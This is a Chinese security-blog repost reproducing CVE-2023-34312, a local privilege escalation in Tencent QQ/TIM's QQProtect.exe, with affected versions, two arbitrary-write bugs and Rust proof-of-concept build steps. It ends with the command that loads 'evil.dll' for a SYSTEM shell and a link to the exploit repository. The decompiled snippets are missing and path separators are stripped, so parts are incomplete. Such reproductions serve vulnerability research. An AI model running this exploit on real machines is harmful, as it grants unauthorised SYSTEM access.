-
QQ 9.7.1.28940 ~ 9.7.8.29039 -
TIM 3.4.5.22071 ~ 3.4.7.22084
-
QQProtect.exe 4.5.0.9424(在 TIM 3.4.5.22071 中) -
QQProtect.exe 4.5.0.9426(在QQ 9.7.1.28940中) -
QQProtectEngine.dll 4.5.0.9424(在 TIM 3.4.5.22071 中) -
QQProtectEngine.dll 4.5.0.9426(在QQ 9.7.1.28940中)
其中a2是一个可以被攻击者控制的指针,dword_41a740是一个全局变量,其值为0x00000001。因此攻击者可以在任何地址写入该值DWORD(1)。
第二个漏洞是QQProtectEngine.dll+0x3B4F6处的代码:
其中v3是可以被攻击者控制的指针。因此攻击者可以std::bit_cast<DWORD>(ptr) + 4在任何给定地址写入该值ptr。
QQProtect.exe由于QQProtect.exe没有ASLR保护,攻击者可以轻易篡改驻留的函数指针并利用ROP链执行任意代码。
3. 概念证明
poc代码是用Rust语言编写的。您应该使用i686-pc-windows-msvc工具链来编译它。
cd poc
"build.rustflags = ["-C", "target-feature=+crt-static"]" cargo +stable-i686-pc-windows-msvc build --release --config
你将得到两个 DLL:
targetreleasetinyxml.dll
targetreleaseevil.dll
然后将上面的两个Dll放在%ProgramFiles(x86)%Common FilesTencentQQProtectbinQQProtect.exe一个文件夹中(其实这个放在桌面也是一样的,CMD直接进入桌面目录就可以了)。
C:UsersadminDesktop>copy "C:Program Files (x86)Common FilesTencentQQProtectBinQQProtect.exe"
已复制 1 个文件。
NT AuthoritySYSTEM最后用一个命令获取shell:
QQProtect.exe <PATH TO evil.dll>
复现结果:
C:Windowssystem32>whoami
nt authoritysystem
第一个复现遇到的问题(更换网络):
C:UsersadminDesktopqq-tim-elevation-masterqq-tim-elevation-masterpoc>cargo +stable-i686-pc-windows-msvc build --release --config "build.rustflags = ["-C", "target-feature=+crt-static"]"
Updating crates.io index
warning: spurious network error (3 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)
warning: spurious network error (2 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)
warning: spurious network error (1 tries remaining): [6] Couldn't resolve host name (Could not resolve host: index.crates.io)
error: failed to get `rhexdump` as a dependency of package `tinyxml v0.1.0 (C:UsersadminDesktopqq-tim-elevation-masterqq-tim-elevation-masterpoctinyxml)`
Caused by:
failed to query replaced source registry `crates-io`
Caused by:
download of config.json failed
Caused by:
failed to download from `https://index.crates.io/config.json`
Caused by:
Couldn't resolve host name (Could not resolve host: index.crates.io)
第二个复现遇到的问题:
error: linker `link.exe` not found
|
= note: program not found
note: the msvc targets depend on the msvc linker but `link.exe` was not found
note: please ensure that Visual Studio 2017 or later, or Build Tools for Visual Studio were installed with the Visual C++ option.
note: VS Code is a different product, and is not sufficient.
error: could not compile `proc-macro2` (build script) due to previous error
warning: build failed, waiting for other jobs to finish...
这个错误表明 Rust 编译器无法找到 `link.exe` 链接器,而它是 MSVC 工具链的一部分。这通常是因为缺少 Visual Studio 2017 或更新版本的安装,或者没有安装带有 Visual C++ 选项的 Visual Studio Build Tools。可以直接参考这个:https://learn.microsoft.com/zh-cn/cpp/build/vscpp-step-0-installation?view=msvc-170
项目地址:
https://github.com/vi3t1/qq-tim-elevation
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):【已复现】CVE-2023-34312 腾讯QQ/TIM本地提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论